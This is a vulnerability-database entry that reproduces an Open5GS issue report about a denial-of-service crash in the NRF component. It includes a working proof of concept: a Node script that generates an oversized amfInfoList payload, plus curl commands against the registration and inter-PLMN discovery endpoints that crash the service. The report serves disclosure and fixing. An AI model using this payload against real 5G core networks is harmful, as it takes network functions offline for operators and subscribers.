| tiêu đề | Open5GS NRF v2.7.7 Denial of Service |
|---|
| Mô tả | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
This merged report covers both currently confirmed reachability variants that
hit the same `nf_info_pool` exhaustion crash in `handle_amf_info()`.
This is not the already documented `handle_amf_info()` `tacRangeList`
fixed-array assertion, and it is also distinct from the `smfInfoList`
NF-info-pool exhaustion report. Here the crash happens earlier: the shared
NF-profile import routine iterates over every `amfInfoList` entry and calls
`handle_amf_info()` once per entry:
```c
OpenAPI_list_for_each(NFProfile->amf_info_list, node) {
OpenAPI_map_t *AmfInfoMap = node->data;
if (AmfInfoMap && AmfInfoMap->value)
handle_amf_info(nf_instance, AmfInfoMap->value);
}
```
`handle_amf_info()` allocates one `ogs_sbi_nf_info_t` per entry and asserts if
the fixed `nf_info_pool` is exhausted:
```c
nf_info = ogs_sbi_nf_info_add(&nf_instance->nf_info_list, OpenAPI_nf_type_AMF);
ogs_assert(nf_info);
```
`ogs_sbi_nf_info_add()` logs a fatal allocation failure and returns `NULL`:
```c
ogs_pool_alloc(&nf_info_pool, &nf_info);
if (!nf_info) {
ogs_fatal("ogs_pool_alloc() failed");
return NULL;
}
```
The pool is sized as:
```c
ogs_pool_init(&nf_info_pool, ogs_app()->pool.nf * OGS_MAX_NUM_OF_NF_INFO);
```
With default settings that becomes `64 * 8 = 512`. The same exhaustion crash
is reachable via:
1. Direct server-side registration:
`PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}`
2. Client-response inter-PLMN discovery:
`GET /nnrf-disc/v1/nf-instances`, where a malicious Home-NRF returns an
oversized `SearchResult.nfInstances[*].amfInfoList` payload
### Root cause
- Shared crash site:
`../lib/sbi/nnrf-handler.c:717-719`
- Exact helper failure:
`../lib/sbi/context.c:1666-1677`
- Pool sizing:
`../lib/sbi/context.c:62`
- Root cause family:
resource exhaustion leading to assertion abort
- Direct reachability:
`PUT /nnrf-nfm/v1/nf-instances/{nfInstanceId}`
- Client-response reachability:
inter-PLMN `GET /nnrf-disc/v1/nf-instances`
- Controlling field:
`NFProfile.amfInfoList`
### Steps to reproduce
#### Direct reproduction
1. Resolve the current NRF IP:
```bash
NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf)
echo "$NRF_IP"
```
2. Generate a small control payload and a large malicious payload:
```bash
mkdir -p /home/ubuntu/open5gs_277/.audit_tmp
node <<'NODE'
const fs = require('fs');
function amfInfoEntry(index) {
const hex = index.toString(16).padStart(6, '0');
return {
amfSetId: '001',
amfRegionId: '02',
guamiList: [
{
plmnId: { mcc: '001', mnc: '01' },
amfId: '020040',
},
],
taiList: [
{
plmnId: { mcc: '001', mnc: '01' },
tac: hex,
},
],
};
}
function makeProfile(id, count) {
const amfInfoList = {};
for (let i = 0; i < count; i++) {
amfInfoList[`entry-${String(i + 1).padStart(4, '0')}`] = amfInfoEntry(i + 1);
}
return {
nfInstanceId: id,
nfType: 'AMF',
nfStatus: 'REGISTERED',
ipv4Addresses: ['127.0.0.1'],
amfInfoList,
};
}
fs.writeFileSync('/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-control.json', JSON.stringify(
makeProfile('88888888-8888-8888-8888-888888888888', 4)
));
fs.writeFileSync('/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-bomb.json', JSON.stringify(
makeProfile('99999999-9999-9999-9999-999999999999', 520)
));
NODE
```
3. Control case:
```bash
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 \
-X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/88888888-8888-8888-8888-888888888888" \
-H 'content-type: application/json' \
--data @/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-control.json
```
4. Malicious case:
```bash
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 \
-X PUT "http://$NRF_IP/nnrf-nfm/v1/nf-instances/99999999-9999-9999-9999-999999999999" \
-H 'content-type: application/json' \
--data @/home/ubuntu/open5gs_277/.audit_tmp/nrf-amfinfo-list-bomb.json
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf
```
Observed in the confirmed run:
```text
HTTP/2 201
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
exited 139 2026-04-24T00:57:02.88900306Z 0
04/24 00:57:02.684: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676)
04/24 00:57:02.684: [sbi] FATAL: handle_amf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:719)
```
#### Inter-PLMN reproduction
1. Start or restart the fake Home-NRF helper:
```bash
docker restart hnrfctl >/dev/null
```
2. Control case:
```bash
printf 'control\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 8 --get \
"http://$NRF_IP/nnrf-disc/v1/nf-instances" \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
```
3. Malicious case:
```bash
printf 'amfinfo-list-pool\n' > /home/ubuntu/open5gs_277/.audit_tmp/nrf_fake_hnrf.mode
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
docker restart nrf >/dev/null
sleep 2
curl --http2-prior-knowledge -sS -i -m 10 --get \
"http://$NRF_IP/nnrf-disc/v1/nf-instances" \
--data-urlencode 'target-nf-type=UDR' \
--data-urlencode 'requester-nf-type=UDM' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=http://hnrfctl'
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf
```
Observed in the confirmed run:
```text
HTTP/2 200
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
exited 139 2026-04-24T01:47:19.329911479Z 0
04/24 01:47:19.149: [nrf] INFO: [fake-foreign-udr-amfinfo-list-pool] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460)
04/24 01:47:19.150: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676)
04/24 01:47:19.150: [sbi] FATAL: handle_amf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:719)
```
### Logs
```shell
HTTP/2 200
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
exited 139 2026-04-24T01:47:19.329911479Z 0
04/24 01:47:19.149: [nrf] INFO: [fake-foreign-udr-amfinfo-list-pool] (NF-discover) NF registered [type:UDR] (../src/nrf/nnrf-handler.c:1460)
04/24 01:47:19.150: [sbi] FATAL: ogs_pool_alloc() failed (../lib/sbi/context.c:1676)
04/24 01:47:19.150: [sbi] FATAL: handle_amf_info: Assertion `nf_info' failed. (../lib/sbi/nnrf-handler.c:719)
```
### Expected behaviour
NRF should reject unreasonably large `amfInfoList` collections with a normal HTTP error and remain running, regardless of whether they arrive via direct registration or a trusted Home-NRF response.
### Observed Behaviour
Both direct registration and inter-PLMN discovery response parsing hit the same `nf_info_pool` exhaustion crash and terminate NRF with exit code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| Nguồn | ⚠️ https://github.com/open5gs/open5gs/issues/4480 |
|---|
| Người dùng | FrankyLin (UID 94345) |
|---|
| Đệ trình | 04/05/2026 05:10 (cách đây 1 tháng) |
|---|
| Kiểm duyệt | 30/05/2026 08:05 (26 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 367409 [Open5GS đến 2.7.7 nf-instances Endpoint /lib/sbi/nnrf-handler.c handle_amf_info nf_info_pool Từ chối dịch vụ] |
|---|
| điểm | 20 |
|---|